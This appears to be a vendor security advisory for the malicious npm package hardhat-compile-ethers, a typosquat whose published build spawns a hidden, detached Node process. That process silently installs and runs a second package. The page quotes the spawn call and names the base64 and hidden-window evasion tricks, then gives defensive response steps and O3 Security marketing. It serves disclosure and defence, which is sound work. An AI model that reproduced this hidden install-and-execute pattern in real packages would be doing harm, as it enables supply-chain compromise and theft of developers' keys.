hardhat-compile-ethersnpm
hardhat-compile-ethers is a confirmed malicious npm package (MAL-2026-6705) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.1, 0.4.0, 0.4.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in hardhat-compile-ethers (npm)
What this malware does
The package's main entry dist/src/index.js contains a payload appended after the legitimate Hardhat exports. On require/import (e.g. when Hardhat loads the user's config), it spawns a detached Node child (spawn(process.execPath, ['-e', code], {detached:true, stdio:'ignore', windowsHide:true})) that runs a base64-decoded command to silently npm install driftpin --no-save --silent --no-audit --no-fund, then require('driftpin') and invoke getPlugin()(), executing attacker-controlled code in the installer's Node process. Both the shell command and the module name 'driftpin' are base64-encoded to hide them from casual inspection, and the spawn options (detached, stdio ignored, windows window hidden) are evasion mechanics. The payload is absent from the TypeScript source (src/index.ts) and only appears in the published dist artifact, indicating post-build injection. The package name mimics legitimate Hardhat/ethers plugins (e.g. @nomicfoundation/hardhat-ethers, hardhat-deploy-ethers) and the README is copied from wighawag/hardhat-deploy, making this a typosquat that delivers a dependency-chain dropper. Installers are typically Hardhat development machines that hold wallet keys and signing material, making arbitrary code execution on import especially damaging.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hardhat-compile-ethers (13 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hardhat-compile-ethers across your stack and pipelines.
If you installed it — respond
hardhat-compile-ethers is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If hardhat-compile-ethers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hardhat-compile-ethers before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks hardhat-compile-ethers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.